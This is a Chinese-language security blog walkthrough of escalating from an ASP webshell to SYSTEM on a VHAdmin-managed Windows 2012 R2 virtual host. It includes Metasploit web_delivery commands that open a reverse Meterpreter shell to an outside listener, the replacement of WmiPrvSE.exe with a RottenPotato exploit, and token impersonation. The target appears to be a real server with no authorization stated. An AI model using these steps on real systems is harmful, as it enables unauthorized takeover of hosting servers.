VHAdmin虚拟主机提权实战案例

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享


0x01 前言

朋友发过来的是一个ASP Webshell,我们先用中国菜刀连接Webshell看下是否能够直接执行系统命令,出现了“[Err] ActiveX 部件不能创建对象”,原因是Wscript.Shell组件被卸载,尝试利用另一个组件Shell.Application执行命令时发现也被卸载了。


0x02 信息搜集

目标机器基本信息:
支持脚本:ASP(组件被卸载)、ASPX目标系统:Windows 2012 R2IIS8.5当前权限:IIS APPPOOLAP_v2.0Classic3开放端口:21、80、135、445、3389
VHAdmin虚拟主机(商务中国)特征:
VHAdmin Version:2013.7.26.15 Builded 2011/10/20VHAdmin服务名:VHAdminServiceVHAdmin进程名:VHAdminService.exe、VHAdminTools.exe、VHConfigManager.exe网站绝对路径:D:webhostingclientsb85f066a-657c-43d1-a219-b6b4cee0c415wwwroot[...SNIP...]
VHAdmin虚拟主机提权实战案例


0x03 实战提权过程

(1) 绕过组件执行命令

我们换上ASPX的一句话木马试试,访问时出现了以下错误,大家看到这种报错时可能会以为是“网站安全狗(IIS版)禁止IIS执行程序”防护功能造成的,虽然它很像,但其实并不是的,具体目标服务器的安全设置当时没有去深入研究。
VHAdmin虚拟主机提权实战案例

我们再换上自己改的一个ASPX执行命令脚本,可以看到是能够正常解析的,但是在执行命令时仍然会提示“拒绝访问。”。这个问题好解决,直接用ASP或ASPX脚本探测目标机器里的可读/写/替换的目录和文件,然后自己上传一个cmd.exe文件即可。
可读写目录:C:WindowstempC:ProgramDataMicrosoftCryptoRSAMachineKeys
可替换文件:C:WindowsWinSxSamd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cbWmiPrvSE.exe

VHAdmin虚拟主机提权实战案例


虽然现在通过ASPX脚本能够执行系统命令了,但是只能执行部分命令,而且我们上传的各种提权EXP、MSF载荷文件到可读/写目录中都不能执行,除了自己上传的这个cmd.111,实践测试中遇到的问题要比以下描述复杂的多,这里只是简单的记录了几点比较重要的

测试-1:

将提权EXP文件放置Cmd_Path中可以被执行,但测试了几乎所有的提权EXP都没能成功将当前权限提升至System。


测试-2:

将MSF EXE载荷文件放置Cmd_Path中执行可以获取Meterpreter会话,但是很多命令都执行不了,如:getuid、list_tokens等等,getpid、ps、netstat、upload、execute这些命令倒是可以正常执行,但用rottenpotato提权EXP必须用到upload、execute、list_tokens,所以这种方法目前不可行,可以尝试利用execute重新执行一个MSF EXE载荷文件,然后再执行list_tokens。

VHAdmin虚拟主机提权实战案例

(2) web_delivery获取会话

web_delivery模块中配置好相关参数并执行监听,然后在ASPX脚本的Argument参数中执行刚刚生成的Powershell载荷,成功获取到目标机器的Meterpreter会话
msf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 107.***.***.242msf exploit(web_delivery) > set lport 443msf exploit(web_delivery) > set URIPATH /msf exploit(web_delivery) > exploit
VHAdmin虚拟主机提权实战案例
VHAdmin虚拟主机提权实战案例
VHAdmin虚拟主机提权实战案例

(3) 替换WmiPrvSE.exe提权

这里我们就要用到前边ASP脚本探测到的WmiPrvSE.exe可替换文件了,笔者在实战过程中测试了1个小时,最终确定只有这个可替换文件能够执行成功,其它可读/写目录中上传的文件都执行不了。将我们的rottenpotato提权EXP文件名改为WmiPrvSE.exe,上传并替换掉这个文件。

C:WindowsWinSxSamd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cbWmiPrvSE.exe
VHAdmin虚拟主机提权实战案例

然后在Meterpreter会话中用execute命令执行WmiPrvSE.exe,接着使用use命令加载incognito扩展并执行list_tokens、impersonate_token命令来进行权限提升。
VHAdmin虚拟主机提权实战案例


0x04 事后原因分析

我们的rottenpotato提权EXP必须在“iis apppool”权限下才能利用成功,用以上方法已经获取到目标机器的SYSTEM权限。有意思的是笔者在这次实战测试中发现用以下两种不同方式执行Payload获取的Meterpreter会话运行权限也不一样,具体原因不明!

(1) Argument执行Payload

Argument中执行Powershell载荷获取到的Meterpreter会话是以“iis apppool”权限来运行的,所以我们是可以直接使用upload、execute命令来上传和执行提权EXP的,而且可以用list_tokens、impersonate_token命令获取到目标机器的SYSTEM权限。

VHAdmin虚拟主机提权实战案例

(2) Cmd_Path执行Payload

Cmd_Path中直接执行64.111载荷是以一种“未知低权限”来运行的,但事后的测试中发现可读/写目录中上传的提权EXP其实也是可以执行的,当时只是因为权限的问题所以没有利用成功。

VHAdmin虚拟主机提权实战案例


注意事项:

  1. Meterpreter会话中无法执行中国菜刀上传的提权EXP,提示:Access is denied(拒绝访问)。

  2. Meterpreter会话中用upload命令上传的提权EXP是可以用execute执行的,删除提权EXP时也只能在当前会话中用rm命令删除,中国菜刀里删除不了。虽然现在可以上传和执行提权EXP了,但是list_tokens命令仍然不能执行,所以也并不推荐此方法。



VHAdmin虚拟主机提权实战案例
VHAdmin虚拟主机提权实战案例  如果对你有所帮助,点个分享、赞、在看呗!VHAdmin虚拟主机提权实战案例

本文始发于微信公众号(安全回忆录):VHAdmin虚拟主机提权实战案例

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: